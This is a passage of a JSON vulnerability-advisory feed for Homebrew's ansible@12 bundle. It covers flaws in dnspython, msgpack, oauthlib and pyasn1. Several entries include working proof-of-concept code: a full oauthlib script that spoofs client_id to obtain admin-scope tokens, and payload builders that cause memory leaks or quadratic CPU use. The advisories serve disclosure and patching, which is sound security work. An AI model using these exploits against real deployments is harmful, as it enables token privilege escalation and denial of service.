nspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression.  Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-114613","published":"2026-10-29T21:29:09Z","modified":"2026-10-29T21:29:09Z","upstream":["GHSA-j586-36cw-2gc2","CVE-2026-114613"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.3","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.2","key":"pkg:pypi/msgpack@1.2.2","resource":"msgpack"}]},"summary":"MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure","details":"### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload)  # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u)  # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-118669","published":"2026-10-31T08:33:13Z","modified":"2026-10-31T08:33:13Z","upstream":["GHSA-7984-qgvg-3j9c","CVE-2026-118669"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","details":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/920"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-119194","published":"2026-10-31T08:33:13Z","modified":"2026-10-31T08:33:13Z","upstream":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id >>= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id >>= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 << 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-119195","published":"2026-10-31T08:33:13Z","modified":"2026-10-31T08:33:13Z","upstream":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length < 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and 